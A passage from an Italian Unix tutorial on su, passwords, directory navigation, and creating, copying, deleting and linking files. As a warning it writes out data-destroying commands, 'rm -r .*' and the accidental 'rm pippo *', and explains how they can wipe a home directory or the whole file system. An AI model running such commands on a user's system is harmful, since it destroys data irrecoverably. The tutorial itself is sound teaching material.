Come si può osservare nell'esempio, nel percorso che si ottiene in qualità di utente '**`caio`**' esistono anche le directory '`/usr/games/`', '`/opt/prova/bin/`' e '`./bin/`'. Quando si diventa utenti '**`root`**' in questo modo, si ottengono percorsi aggiuntivi, ma ne spariscono altri, che in questo caso si presume siano accessibili in condizioni normali (con un accesso normale). Per risolvere il problema basta usare '**`su`**' con un'opzione speciale: '**`-`**'.

```
# exit [Invio]

$ su - [Invio]

Password: ameba [Invio]

# whoami [Invio]

  root

# echo $PATH [Invio]

  /sbin:/usr/sbin:/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:↩
  ↪/usr/bin/X11:/usr/games:/opt/prova/bin:/bin:./bin
```

In effetti, la differenza sta nel fatto che, usando '**`su`**' senza il trattino, si ottiene una shell interattiva normale, mentre con il trattino si ottiene una «shell di *login*». Dal lato pratico, la differenza sta nel fatto che nel secondo caso vengano eseguiti script che nel primo caso sono

ignorati, ma quello che conta è sapere che la differenza esiste e dipende dalla configurazione del sistema operativo.

4.1.7 Conclusione

Il meccanismo attraverso cui si accede al sistema deve essere chiaro, prima di poter affrontare qualunque altra cosa. Per poter proseguire occorre essere certi che gli esempi visti fino a questo punto siano stati compresi, soprattutto, in seguito non viene più mostrato il modo con cui accedere, terminare una sessione di lavoro o cambiare identità.

È fondamentale tenere bene a mente che l'elaboratore non può essere spento prima di avere completato la procedura di arresto del sistema con '**`shutdown`**'.

In caso di dubbio è meglio ripetere l'esercitazione precedente.

4.2 Gestione delle parole d'ordine

La prima regola per una parola d'ordine sicura consiste nel suo aggiornamento frequente. Quando si cambia la parola d'ordine, viene richiesto inizialmente l'inserimento di quella precedente, quindi se ne può inserire una nuova, per due volte, in modo da prevenire eventuali errori di battitura. Di norma non vengono accettate le parole d'ordine troppo semplici (solo l'utente '**`root`**' dovrebbe avere la possibilità di assegnare parole d'ordine banali).

4.2.1 L'utente «root» che cambia la parola d'ordine di un utente comune

L'utente '**`root`**' può cambiare la parola d'ordine di un altro utente. Questa è la situazione comune di quando si crea una nuova utenza: è l'utente '**`root`**' che assegna la prima volta la parola d'ordine per quel nuovo utente.

`#` **`passwd tizio`** [*Invio*]

Trattandosi dell'utente '**`root`**' che cambia la parola d'ordine di un altro, viene richiesto semplicemente di inserire quella nuova (l'utente '**`root`**' non ha la necessità di conoscere la vecchia parola d'ordine di un altro utente).

`New UNIX password:` **`123`** [*Invio*]

La parola d'ordine inserita (che nella realtà non si vede) è troppo breve e anche banale. Il programma potrebbe avvertire di questo, ma non dovrebbe opporsi:

```
BAD PASSWORD: it's a WAY too short
```

`Retype new UNIX password:` **`123`** [*Invio*]

```
passwd: all authentication tokens updated successfully
```

La parola d'ordine è stata cambiata.

4.2.2 L'utente comune che cambia la propria parola d'ordine

L'utente comune può cambiare la propria parola d'ordine, solo la propria, ma di norma non gli è consentito di assegnarsi una parola d'ordine troppo semplice. Nell'esempio, l'utente è '**tizio**'.

```
$ passwd [Invio]
```

Prima di accettare una nuova parola d'ordine, viene richiesta quella vecchia:

```
Changing password for tizio
```

```
(current) UNIX password: 123 [Invio]
```

Quindi viene richiesta quella nuova:

```
New UNIX password: albero [Invio]
```

```
BAD PASSWORD: it is based on a (reversed) dictionary word
passwd: Authentication token manipulation error
```

Come si vede in questo caso, la parola d'ordine '**albero**' viene considerata troppo semplice e il programma si rifiuta di procedere. Si decide allora di usare qualcosa di più complesso, o semplicemente più lungo.

```
$ passwd [Invio]
```

```
Changing password for tizio
```

```
(current) UNIX password: 123 [Invio]
```

```
New UNIX password: fra martino campanaro [Invio]
```

Si è optato per una parola d'ordine lunga. Occorre tenere a mente che conta la differenza tra maiuscole e minuscole e anche il numero esatto di spazi inseriti tra le parole.

```
Retype new UNIX password: fra martino campanaro [Invio]
```

```
passwd: all authentication tokens updated successfully
```

A seconda della configurazione del sistema e dell'aggiornamento delle librerie, può darsi che sia perfettamente inutile utilizzare delle parole d'ordine più lunghe di otto caratteri, nel senso che quanto eccede i primi otto caratteri potrebbe essere semplicemente ignorato. Si può provare a verificarlo; seguendo l'esempio appena visto, potrebbe essere che la parola d'ordine risultante sia solo '**fra mart**'.

4.2.3 Conclusione

Il cambiamento della parola d'ordine in un sistema Unix deve essere considerato una cosa abituale, anche per gli utenti comuni. Di norma, le parole d'ordine troppo semplici non sono accettabili.

4.3 Navigazione tra le directory

I dati contenuti in un file system sono organizzati in modo gerarchico attraverso directory e sottodirectory. Prima di iniziare questa esercitazione è conveniente rivedere la sezione 3.21.

L'utente a cui ci si riferisce negli esempi è '**tizio**'.

4.3.1 Directory corrente

Mentre si utilizza il sistema, i comandi che si eseguono risentono generalmente della ***posizione corrente*** in cui ci si trova, ovvero della directory attuale, o attiva. Tecnicamente non c'è bisogno di definire una directory corrente: tutte le posizioni nell'albero del file system potrebbero essere indicate in maniera precisa. In pratica, però, la presenza di questa directory corrente semplifica molte cose.

$ **cd /usr/bin** [*Invio*]

Eseguendo il comando precedente, la directory attuale dovrebbe divenire '/usr/bin/'. Per controllare che ciò sia avvenuto si utilizza il comando seguente:

$ **pwd** [*Invio*]

```
/usr/bin
```

4.3.2 Spostamenti assoluti e relativi

Il comando '**cd**' può essere utilizzato per cambiare la directory corrente, sia attraverso l'indicazione di un percorso assoluto, sia attraverso un percorso relativo. Il percorso assoluto parte dalla directory radice, mentre quello relativo parte dalla posizione corrente.

$ **cd /usr/local** [*Invio*]

Il comando soprastante cambia la directory corrente in modo che diventi esattamente '/usr/local/'. Il percorso indicato è assoluto perché inizia con una barra obliqua che rappresenta la directory radice.

$ **pwd** [*Invio*]

```
/usr/local
```

Quando si utilizza l'indicazione di un percorso che non inizia con una barra obliqua, si fa riferimento a qualcosa che inizia dalla posizione corrente.

$ **cd bin** [*Invio*]

Con questo comando si cambia la directory corrente, passando in '`bin/`' che discende da quella attuale.

$ **pwd** [*Invio*]

```
/usr/local/bin
```

4.3.3 Spostamenti a ritroso

Ogni directory contiene due riferimenti convenzionali a due sottodirectory speciali. Si tratta del riferimento alla directory stessa che lo contiene, rappresentato da un punto singolo ('`.`'), assieme al riferimento alla directory genitrice, rappresentato da due punti in sequenza ('`..`'). Questi simboli (il punto singolo e quello doppio) sono nomi di directory a tutti gli effetti.

$ **cd ..** [*Invio*]

Cambia la directory corrente, facendola corrispondere alla genitrice di quella in cui ci si trovava prima; in altri termini si potrebbe definire questa directory come quella che precede la posizione di partenza. Si tratta di un percorso relativo che utilizza, come punto di inizio, la directory corrente del momento in cui si esegue il comando.

$ **pwd** [*Invio*]

```
/usr/local
```

Gli spostamenti relativi che fanno uso di un movimento all'indietro possono essere più elaborati.

$ **cd ../bin** [*Invio*]

In questo caso si intende indietreggiare di una posizione e quindi entrare nella directory '`bin/`'.

$ **pwd** [*Invio*]

```
/usr/bin
```

Lo spostamento a ritroso può essere anche cumulato a più livelli.

$ **cd ../../var/tmp** [*Invio*]

In questo caso si indietreggia due volte prima di riprendere un movimento in avanti.

$ **pwd** [*Invio*]

```
/var/tmp
```

Gli spostamenti all'indietro si possono usare anche in modo più strano e apparentemente inutile.

$ **cd /usr/bin/../local/bin/..** [*Invio*]

Indubbiamente si tratta di un'indicazione poco sensata, ma serve a comprendere le possibilità date dall'uso del riferimento alla directory precedente.

$ **pwd** [*Invio*]

```
/usr/local
```

4.3.4 Riferimento preciso alla directory corrente

La directory corrente può essere rappresentata da un punto singolo all'inizio di un percorso.[3] In pratica, tutti i percorsi relativi potrebbero iniziare con il prefisso '**./**' (punto, barra obliqua). Per quanto riguarda lo spostamento all'interno delle directory, ciò serve a poco, ma ritorna utile in altre situazioni.

$ **cd ./bin** [*Invio*]

A partire dalla directory corrente si sposta nella directory 'bin/'.

$ **pwd** [*Invio*]

```
/usr/local/bin
```

4.3.5 Directory corrente e «.»

La directory corrente non corrisponde esattamente al concetto legato al riferimento '**.**': il «file» '**.**' è un cortocircuito che ha ogni directory. Per esempio, il percorso 'uno/due/./tre' è perfettamente equivalente a 'uno/due/tre'. In pratica, quel punto che appare nel primo caso, rappresenta semplicemente uno spostamento nullo nella stessa directory 'uno/due'. Lo si può verificare facilmente:

$ **cd /usr/./local/./lib** [*Invio*]

$ **pwd** [*Invio*]

```
/usr/local/lib
```

Quando si indica un percorso relativo, è come inserire implicitamente all'inizio la directory corrente; pertanto, scrivere './uno/due', significa indicare un concetto equivalente a '***directory_corrente***/./uno/due'. In questo senso, **solo** quando il punto si trova all'inizio di un percorso (che quindi risulta essere relativo), il punto rappresenta la directory corrente.

4.3.6 Directory personale, o directory «home»

Ogni utente ha una directory personale, conosciuta come directory *home*, destinata a contenere tutto ciò che riguarda l'utente a cui appartiene. Usando il comando '**cd**' senza argomenti, si raggiunge la propria directory personale, senza bisogno di indicarla in modo esplicito.

$ **cd** [*Invio*]

$ **pwd** [*Invio*]

```
/home/tizio
```

Alcune shell sostituiscono il carattere tilde ('**~**'), all'inizio di un percorso, con la directory personale dell'utente che lo utilizza.

$ **cd ~** [*Invio*]

$ **pwd** [*Invio*]

```
/home/tizio
```

Nello stesso modo, un nominativo-utente preceduto da un carattere tilde, viene sostituito dalla directory personale dell'utente stesso.[4]

$ **cd ~caio** [*Invio*]

$ **pwd** [*Invio*]

```
/home/caio
```

Prima di proseguire si ritorna nella propria directory personale.

$ **cd** [*Invio*]

4.3.7 Conclusione

La directory corrente è un punto di riferimento importante per i programmi e il cambiamento di questa posizione avviene attraverso il comando '**cd**'. Per conoscere quale sia la directory corrente si utilizza '**pwd**'. Si può fare riferimento alla directory genitrice di quella attuale con una sequenza di due punti ('`..`'), mentre quella attuale (nell'ambito del contesto in cui ci si trova) si può individuare con un punto singolo ('`.`').

4.4 Contenuti

La navigazione all'interno delle directory, alla cieca, come visto negli esempi dell'esercitazione precedente, è una cosa possibile ma insolita: normalmente si accompagna con l'analisi dei contenuti di directory e file.

4.4.1 Contenuto delle directory

Le directory si esplorano con il comando '**ls**'

$ **ls /bin** [*Invio*]

```
arch        dd            gzip     nisdomainname tar
ash         df            hostname ping          touch
awk         dmesg         kill     ps            true
basename    dnsdomainname ln       pwd           umount
bash        doexec        login    rm            uname
bsh         domainname    ls       rmdir         vi
cat         echo          mail     rpm           view
chgrp       egrep         mkdir    sed           vim
```

```
chmod        ex           mknod    sh          ypdomainname
chown        false        more     sleep       zcat
cp           fgrep        mount    sort
cpio         gawk         mt       stty
csh          grep         mv       su
date         gunzip       netstat  sync
```

Il comando '**ls /bin**' visualizza il contenuto della directory '/bin/'. I nomi che vengono elencati rappresentano file di qualunque tipo (sottodirectory incluse).

Una visualizzazione più espressiva del contenuto delle directory può essere ottenuta utilizzando l'opzione '**-l**'.

$ **ls -l /bin** [*Invio*]

```
-rwxr-xr-x   1 root     root         2712 Jul 20 03:15 arch
-rwxrwxrwx   1 root     root        56380 Apr 16  1997 ash
lrwxrwxrwx   1 root     root            4 Oct 21 11:15 awk -> gawk
-rwxr-xr-x   1 root     root        18768 Apr 18  1997 basename
-rwxrwxrwx   1 root     root       412516 Jul 17 21:27 bash
lrwxrwxrwx   1 root     root            3 Oct 21 11:15 bsh -> ash
-rwxr-xr-x   1 root     root        22164 Mar 14  1997 cat
-rwxr-xr-x   1 root     root        23644 Feb 25  1997 chgrp
-rwxr-xr-x   1 root     root        23960 Feb 25  1997 chmod
-rwxr-xr-x   1 root     root        23252 Feb 25  1997 chown
-rwxr-xr-x   1 root     root        61600 Feb 25  1997 cp
-rwxr-xr-x   1 root     root       296728 Apr 23  1997 cpio
...
```

In questo caso, è stato ottenuto un elenco più dettagliato che in particolare consente di distinguere il tipo di file, i permessi e l'appartenenza all'utente e al gruppo.

In precedenza è stato spiegato che ogni directory contiene due riferimenti convenzionali rappresentati da un punto singolo e da due punti in sequenza ('.' e '..'). Negli esempi appena visti, questi non sono apparsi. Ciò accade perché i file il cui nome inizia con un punto non vengono presi in considerazione quando non si fa riferimento a loro in modo esplicito.

$ **cd** [*Invio*]

$ **ls** [*Invio*]

La directory personale di un utente potrebbe sembrare vuota, utilizzando il comando '**ls**' appena visto. Con l'opzione '**-a**' si visualizzano anche i file che iniziano con un punto (si osservi che in precedenza non sono apparsi i riferimenti alle voci '.' e '..').

$ **ls -a** [*Invio*]

```
.                  .bash_profile    .riciclaggio
..                 .bashrc          .screenrc
.Xdefaults         .fvwm2rc95       .twmrc
.bash_history      .mc.ext          .xfm
.bash_logout       .mc.ini          .xinitrc
```

4.4.2 Contenuto dei file

Anche il contenuto dei file può essere analizzato, entro certi limiti, soprattutto quando si tratta di file di testo. Per visualizzare il contenuto di file di testo si utilizzano generalmente i comandi '**cat**' e '**more**'.

$ **cat /etc/fstab** [*Invio*]

```
/dev/hda3       /               ext3            defaults        1  1
/dev/hda2       none            swap            sw
proc            /proc           ignore
/dev/hda1       dos             vfat            quiet,umask=000
/dev/hdc        /mnt/cdrom      iso9660         ro,user,noauto
/dev/fd0        /mnt/floppy     vfat            user,noauto,quiet
```

Con il comando appena indicato si ottiene la visualizzazione del contenuto del file '`/etc/fstab`', che ovviamente cambia a seconda della configurazione del proprio sistema operativo.

Il comando '**cat**', usato così, non si presta alla visualizzazione di file di grandi dimensioni. Per questo si preferisce usare '**more**', oppure il più raffinato '**less**'.

$ **more /etc/services** [*Invio*]

```
# /etc/services:
# $Id: services,v 1.4 1997/05/20 19:41:21 tobias Exp $
#
# Network services, Internet style
#
# Note that it is presently the policy of IANA to assign a single well-known
# port number for both TCP and UDP; hence, most entries here have two entries
# even if the protocol doesn't support UDP operations.
# Updated from RFC 1700, ``Assigned Numbers'' (October 1994).  Not all ports
# are included, only the more common ones.

tcpmux          1/tcp                           # TCP port service multiplexer
echo            7/tcp
echo            7/udp
discard         9/tcp           sink null
discard         9/udp           sink null
systat          11/tcp          users
daytime         13/tcp
daytime         13/udp
netstat         15/tcp
qotd            17/tcp          quote
msp             18/tcp                          # message send protocol
```

```
msp             18/udp                          # message send protocol
--More--(5%)
```

[*barra−spaziatrice*]

```
chargen         19/tcp          ttytst source
chargen         19/udp          ttytst source
ftp-data        20/tcp
ftp             21/tcp
fsp             21/udp          fspd
ssh             22/tcp                          # SSH Remote Login Protocol
ssh             22/udp                          # SSH Remote Login Protocol
telnet          23/tcp
# 24 - private
smtp            25/tcp          mail
# 26 - unassigned
time            37/tcp          timserver
time            37/udp          timserver
rlp             39/udp          resource        # resource location
nameserver      42/tcp          name            # IEN 116
whois           43/tcp          nicname
re-mail-ck      50/tcp                          # Remote Mail Checking Protocol
re-mail-ck      50/udp                          # Remote Mail Checking Protocol
domain          53/tcp          nameserver      # name-domain server
domain          53/udp          nameserver
mtp             57/tcp                          # deprecated
bootps          67/tcp                          # BOOTP server
bootps          67/udp
--More--(9%)
```

Come mostrato, per passare alla schermata successiva, basta premere la [*barra−spaziatrice*]. Per terminare, anche se non è stato visualizzato tutto il file, basta usare la lettera «q».

[*q*]

Il comando '**less**' funziona in modo analogo, con la differenza che si può scorrere il file anche all'indietro, usando intuitivamente la tastiera.

I comandi '**more**' e '**less**' sono descritti meglio nella sezione 5.1.

4.4.3 Determinazione del tipo

Il contenuto dei file può essere determinato attraverso il comando '**file**', senza doverne visualizzare il contenuto. Ciò è molto importante, specialmente nelle situazioni in cui visualizzare un file è inopportuno (si pensi a cosa accadrebbe tentando di visualizzare un file eseguibile binario).

Il comando '**file**' si basa su un elenco di stringhe di riconoscimento chiamate ***magic number*** (una sorta di «impronta»), definite in base alla tradizione dei sistemi Unix.

$ **file /etc/*** [*Invio*]

```
/etc/DIR_COLORS:       English text
/etc/HOSTNAME:         ASCII text
/etc/X11:              directory
/etc/adjtime:          ASCII text
/etc/aliases:          English text
/etc/aliases.db:       Berkeley DB Hash file (Version 2, Little Endian,…
/etc/at.deny:          ASCII text
/etc/bashrc:           ASCII text
/etc/cron.daily:       directory
/etc/cron.hourly:      directory
/etc/cron.monthly:     directory
/etc/cron.weekly:      directory
/etc/crontab:          ASCII text
/etc/csh.cshrc:        ASCII text
/etc/dosemu.conf:      English text
/etc/dosemu.users:     ASCII text
…
```

Il comando indicato come esempio visualizza l'elenco dei file contenuti nella directory '`/etc/`', dove a fianco di ogni file appare la definizione del tipo a cui questo appartiene.

Questo metodo di riconoscimento dei dati non è infallibile, ma è comunque di grande aiuto.

4.4.4 Spazio utilizzato e spazio disponibile

Per controllare lo spazio disponibile nel disco (o nei dischi) si utilizza il comando '**`df`**'.

`$` **`df`** [*Invio*]

Il risultato del comando potrebbe essere qualcosa di simile a quanto segue.

```
Filesystem         1024-blocks  Used Available Capacity Mounted on
/dev/hda4             648331  521981    92860      85%   /
/dev/hda1              41024   38712     2312      94%   /dos
```

Per controllare lo spazio utilizzato in una directory si può usare il comando '**`du`**'.

`$` **`du /bin`** [*Invio*]

```
3168    /bin
```

In questo caso, si determina che la directory '`/bin/`' contiene file per un totale di 3168 Kibyte.

4.4.5 Conclusione

L'analisi del contenuto di directory e file è un'operazione elementare, ma essenziale per la determinazione delle azioni da compiere in funzione di quanto si rivela in questo modo.

4.5 Creazione, copia ed eliminazione di file

La creazione, la copia e l'eliminazione dei file sono operazioni elementari, ma importanti e delicate. Questa esercitazione deve essere fatta con cura e attenzione.

4.5.1 Creazione di un file

Esistono vari modi per creare un file. Il modo più semplice per creare un file vuoto è quello di usare il comando '**touch**'. Prima di tutto ci si sposta nella propria directory personale, che è il luogo più adatto per questo genere di esercizi.

$ **cd** [*Invio*]

$ **touch pippo** [*Invio*]

Dopo aver usato il comando '**touch**' per creare il file 'pippo' non si ottiene alcuna conferma dell'avvenuta esecuzione dell'operazione. Questo atteggiamento è tipico dei sistemi Unix i cui comandi tendono a non manifestare il successo delle operazioni eseguite. Si può comunque verificare.

$ **ls -l pippo** [*Invio*]

```
-rw-rw-r--   1 tizio    tizio           0 Dec 23 10:49 pippo
```

Il file è stato creato.

In questa fase degli esercizi, in cui non è ancora stato descritto l'uso di un programma per creare o modificare file di testo, è possibile vedere un metodo semplice per creare un file del genere. Si utilizza il comando '**cat**' in un modo un po' strano che viene chiarito più avanti.

$ **cat > pippo2** [*Invio*]

Da questo momento inizia l'inserimento del testo come nell'esempio mostrato qui di seguito.

Esiste anche un modo semplice di scrivere [*Invio*]

un file di testo. [*Invio*]

Purtroppo si tratta di una scrittura a senso unico. [*Invio*]

[*Ctrl d*]

L'inserimento del testo termina con la combinazione [*Ctrl d*].[5]

Si può verificare che il file sia stato creato e contenga il testo digitato.

$ **cat pippo2** [*Invio*]

```
Esiste anche un modo semplice di scrivere
un file di testo.
Purtroppo si tratta di una scrittura a senso unico.
```

4.5.2 Copia di file

La copia dei file può essere fatta attraverso l'uso del comando '**cp**'.

$ **cp pippo2 pippo3** [*Invio*]

Eseguendo il comando appena mostrato, si ottiene la copia del file 'pippo2' per generare il file 'pippo3'. Come al solito, se tutto va bene non si ottiene alcuna segnalazione.

La copia di un gruppo di file può avvenire solo quando la destinazione (l'ultimo nome indicato nella riga di comando) è una directory già esistente.

$ **cp pippo pippo2 pippo3 /tmp** [*Invio*]

Con il comando precedente si copiano i file creati fino a questo punto nella directory '/tmp/'. La stessa cosa si può fare in modo più semplice utilizzando i caratteri jolly.

$ **cp pippo* /tmp** [*Invio*]

4.5.3 Eliminazione di file

L'eliminazione dei file avviene normalmente per mezzo di '**rm**'. L'uso di questo comando richiede molta attenzione, specialmente quando si agisce con i privilegi dell'utente '**root**'. Infatti, la cancellazione avviene senza obiezioni e senza bisogno di conferme. Può bastare un errore banale per cancellare tutto ciò a cui si può accedere.

$ **rm pippo pippo2** [*Invio*]

Il comando appena mostrato elimina **definitivamente** e senza possibilità di recupero i file indicati: 'pippo' e 'pippo2'.

La cancellazione dei file può avvenire anche indicandone un gruppo attraverso l'uso dei caratteri jolly. L'uso di questi simboli rappresenta un rischio in più. Generalmente, quando non si ha ancora una buona preparazione e si può essere incerti sull'effetto di un comando di eliminazione, conviene prima controllare il risultato, per esempio attraverso '**ls**'.[6]

Volendo cancellare tutti i file il cui nome inizia per '**pippo**', si potrebbe utilizzare il modello '**pippo***'. Per sicurezza si verifica con '**ls**'.

$ **ls pippo*** [*Invio*]

```
pippo3
```

Risulta corrispondere al modello solo il file 'pippo3'. Infatti, poco prima sono stati cancellati 'pippo' e 'pippo2'. In ogni caso, si vede che il modello è corretto e si procede con la cancellazione (tuttavia si deve fare attenzione ugualmente).

$ **rm pippo*** [*Invio*]

L'uso distratto di questo comando di eliminazione, può produrre danni gravi. Si pensi a cosa può accadere se, invece di digitare '**rm pippo***' si inserisse accidentalmente uno spazio tra la parola '**pippo**' e l'asterisco. Il comando sarebbe '**rm pippo ***' e produrrebbe l'eliminazione del file 'pippo' (se esiste) e successivamente anche di tutti i file contenuti nella directory corrente (questo è ciò che rappresenta l'asterisco da solo). Come è già stato spiegato, '**rm**' non

fa domande, così come accade con gli altri comandi, nel rispetto delle tradizioni Unix: quello che è cancellato è cancellato.

4.5.4 Conclusione

La creazione di file, normalmente vuoti, la copia e l'eliminazione, sono operazioni elementari ma fondamentali. Nella loro semplicità si tratta comunque di funzionalità che richiedono un po' di attenzione, soprattutto quando si interviene con i privilegi dell'utente '**root**': con la copia si potrebbero sovrascrivere file già esistenti, con la cancellazione si potrebbe intervenire in un ambito diverso da quello previsto o desiderato.

4.6 Creazione, copia ed eliminazione di directory

Le directory possono essere viste come contenitori di file e di altre directory. La copia e l'eliminazione di directory ha delle implicazioni differenti rispetto alle stesse operazioni con i file normali. Continua a valere la raccomandazione di svolgere l'esercitazione con cura.

4.6.1 Creazione di una directory

La creazione di una directory è concettualmente simile alla creazione di un file vuoto. Quando la directory viene creata è sempre vuota: si riempie utilizzandola. Una directory viene creata con il comando '**mkdir**'.

Prima di procedere ci si sposta nella propria directory personale e quindi si crea la directory 'mia/' discendente dalla posizione corrente.

$ **cd** [*Invio*]

$ **mkdir mia** [*Invio*]

Si può verificare con il comando '**ls**'.

$ **ls -l** [*Invio*]

```
...
drwxr-xr-x   8 tizio    tizio        1024 Dec 23 12:11 mia
...
```

La lettera '**d**' all'inizio della stringa che identifica i permessi indica chiaramente che si tratta di una directory.

4.6.2 Copia di directory

La copia delle directory avviene attraverso il comando '**cp**' con le opzioni '**-r**' oppure '**-R**', tra le quali c'è una differenza sottile che però qui non viene approfondita.

$ **cp -r mia mia2** [*Invio*]

Con il comando appena visto, si ottiene la copia della directory 'mia/' in 'mia2/'. La copia è ricorsiva, nel senso che comprende tutti i file contenuti nella directory di origine, assieme a tutte le eventuali sottodirectory, compreso il loro contenuto.

4.6.3 Eliminazione di directory

Normalmente, le directory si possono cancellare quando sono vuote, per mezzo del comando '**`rmdir`**'.

Valgono le stesse raccomandazioni di prudenza fatte in precedenza in occasione degli esercizi sulla cancellazione di file.

$ **`rmdir mia2`** [*Invio*]

Il comando appena mostrato elimina la directory '`mia2/`'.

L'eliminazione delle directory fatta in questo modo, cioè attraverso il comando '**`rmdir`**', non è molto preoccupante, perché con esso è consentito eliminare solo directory vuote: se ci si accorge di avere eliminato una directory di troppo, si riesce facilmente a ricrearla con il comando '**`mkdir`**'.

Tuttavia, spesso si eliminano interi rami di directory, quando con un comando si vuole eliminare una o più directory e con esse il loro contenuto di file ed eventuali altre directory. Si dice in questo caso che si esegue una cancellazione ricorsiva.

Prima di proseguire, si prova a creare una struttura articolata di directory.

$ **`mkdir carbonio`** [*Invio*]

$ **`mkdir carbonio/idrogeno`** [*Invio*]

$ **`mkdir carbonio/ossigeno`** [*Invio*]

$ **`mkdir carbonio/idrogeno/elio`** [*Invio*]

Si dovrebbe ottenere una struttura organizzata nel modo seguente:

$ **`tree carbonio`** [*Invio*]

```
carbonio
|-- idrogeno
|   `-- elio
`-- ossigeno

3 directories, 0 files
```

Se si tenta di eliminare tutta la struttura che parte da '`carbonio/`' con il comando '**`rmdir`**', si ottiene solo una segnalazione di errore.

$ **`rmdir carbonio`** [*Invio*]

```
rmdir: carbonio: Directory not empty
```

Per questo bisogna utilizzare il comando '**`rm`**' con l'opzione '**`-r`**'. Tuttavia, il comando '**`rm`**' applicato in questo modo ricorsivo è **particolarmente pericoloso** se utilizzato in modo distratto.

$ **`rm -r carbonio`** [*Invio*]

La directory '`carbonio/`' e tutto ciò che da essa discendeva non c'è più.

Si provi a pensare cosa può accadere quando si utilizzano i caratteri jolly: si cancellano indifferentemente file e directory che corrispondono al modello. C'è però ancora qualcosa di peggiore: l'insidia dei nomi che iniziano con un punto.

4.6.4 Eliminazione di directory il cui nome inizia con un punto

La cancellazione di directory il cui nome inizia con un punto è un'operazione estremamente delicata che merita una discussione a parte. Generalmente, quando si utilizzano i caratteri jolly per identificare un gruppo di nomi di file e directory, questi simboli non corrispondono mai ai nomi che iniziano con un punto. Questa convenzione è stata definita per evitare che con i caratteri jolly si possa intervenire involontariamente con i riferimenti standard delle directory: '`.`' (la directory stessa che lo contiene) e '`..`' (la directory genitrice).

A questo fatto si è aggiunta la convenzione di nominare in questo modo (con un punto iniziale) file e directory che rappresentano la configurazione particolare di ogni utente. In tal modo, è come se tali file e directory fossero nascosti, per cui l'utente non risulta infastidito da questi che così non possono nemmeno essere cancellati involontariamente.

Potrebbe sorgere il desiderio di eliminare tutti questi file e tutte queste directory, utilizzando il modello '`.*`' (punto, asterisco), ma in questo modo si includerebbero anche i riferimenti standard: '`.`' e '`..`', eliminando così anche la directory corrente, ma soprattutto quella genitrice (con tutto il suo contenuto).

Se il comando viene dato da un utente comune, questo riesce a eliminare solo i dati a cui può accedere, mentre se lo sbaglio venisse fatto dall'utente '**`root`**', tutto ciò che è stato selezionato erroneamente potrebbe essere perduto.

Si osservi che in un sistema GNU/Linux tipico, la directory personale dell'utente '**`root`**' è '`/root/`'; pertanto, un comando del genere viene dato presumibilmente proprio quando la directory corrente è la directory personale, che, come si vede, discende immediatamente dalla radice. Pertanto, un utente '**`root`**' che fa uno sbaglio del genere, potrebbe cancellare tutto il file system principale con il contenuto di tutti gli altri dischi che vi si trovano innestati.

Per concludere, il comando da evitare assolutamente è '**`rm -r .*`**'. **Attenzione a non usarlo mai!**

4.6.5 Conclusione

Quando si copiano e si eliminano le directory, sorge spontaneo il desiderio di intervenire in modo ricorsivo su tutto il contenuto della directory di partenza. I problemi maggiori cui si va incontro sono legati alla cancellazione ricorsiva, specialmente quando si pretende di eliminare i file e le directory il cui nome inizia con un punto, in modo globale, attraverso un modello fatto di caratteri jolly.

4.7 Spostamenti e collegamenti di file e directory

Negli ambienti Unix, lo spostamento e il cambiamento del nome di file e directory sono la stessa cosa. Un'altra particolarità dei sistemi operativi Unix è la possibilità di gestire i collegamenti a file e directory.

4.7.1 Spostamento e ridenominazione

Lo spostamento di file e directory avviene per mezzo di '**mv**'. Per esercitarsi con questo comando si preparano alcuni file e alcune directory.

$ **touch alfa** [*Invio*]

$ **touch beta** [*Invio*]

$ **mkdir gamma** [*Invio*]

Come sempre è bene controllare.

$ **ls -l** [*Invio*]

```
...
-rw-rw-r--   1 tizio    tizio           0 Dec 25 12:46 alfa
-rw-rw-r--   1 tizio    tizio           0 Dec 25 12:46 beta
drwxrwxr-x   2 tizio    tizio        1024 Dec 25 12:46 gamma
...
```

Si procede rinominando il file '`alfa`' in modo che diventi '`omega`'.

$ **mv alfa omega** [*Invio*]

$ **ls -l** [*Invio*]

```
...
-rw-rw-r--   1 tizio    tizio           0 Dec 25 12:46 omega
...
```

Volendo spostare file e directory in gruppo, è necessario che la destinazione sia una directory. Con il comando seguente si spostano i due file creati poco prima nella directory '`gamma/`'.

$ **mv omega beta gamma** [*Invio*]

$ **ls -l gamma** [*Invio*]

```
-rw-rw-r--   1 tizio    tizio           0 Dec 25 12:46 beta
-rw-rw-r--   1 tizio    tizio           0 Dec 25 12:46 omega
```

Generalmente, lo spostamento (o il cambiamento di nome) non fa differenza tra file normali e directory.

$ **mv gamma /tmp** [*Invio*]

Il comando precedente sposta la directory '`gamma/`' in '`/tmp/`'.

È importante tenere presente che il comando '**mv**' non può cambiare un gruppo di nomi in modo sistematico. Per esempio, non si può cambiare '***.mio**' in '***.tuo**'.

4.7.2 Collegamenti

La creazione di un collegamento è un'operazione simile alla copia, con la differenza che invece di creare un duplicato di file e directory, si genera un riferimento agli originali. Ne esistono due tipi: collegamenti simbolici e collegamenti fisici (questi ultimi conosciuti di solito come *hard link*). In questa esercitazione vengono mostrati solo collegamenti simbolici.

$ **pwd** [*Invio*]

```
/home/tizio
```

Il comando utilizzato per creare questi collegamenti è '**ln**'; dal momento che si intendono mostrare solo quelli simbolici, viene usata sempre l'opzione '**-s**'.

Per esercitarsi con questo comando si preparano alcuni file e directory.

$ **touch uno** [*Invio*]

$ **touch due** [*Invio*]

$ **mkdir tre** [*Invio*]

Come sempre è bene controllare.

$ **ls -l** [*Invio*]

```
...
-rw-rw-r--   1 tizio    tizio          0 Dec 25 12:46 due
drwxrwxr-x   2 tizio    tizio       1024 Dec 25 12:46 tre
-rw-rw-r--   1 tizio    tizio          0 Dec 25 12:46 uno
```

Come già si accenna all'inizio, la creazione di un collegamento è un'operazione simile alla copia.

$ **ln -s uno uno.bis** [*Invio*]

Con il comando mostrato sopra, si ottiene un collegamento simbolico, denominato 'uno.bis', al file 'uno'.

$ **ls -l** [*Invio*]

```
...
lrwxrwxrwx   1 tizio    tizio          3 Dec 25 12:47 uno.bis -> uno
```

Da questo momento si può fare riferimento al file 'uno' utilizzando il nome 'uno.bis'.

La creazione di un collegamento a una directory può avvenire nello stesso modo visto per i file (a patto che si tratti di collegamenti simbolici).

$ **ln -s /tmp miatemp** [*Invio*]

Se il comando appena visto ha successo si può raggiungere la directory '`/tmp/`' anche attraverso il riferimento '`miatemp`'.

La creazione di un gruppo di collegamenti con un solo comando, può avvenire solo quando la destinazione (l'ultimo nome sulla riga di comando) è una directory. In questo modo si ottiene la creazione dei collegamenti al suo interno.

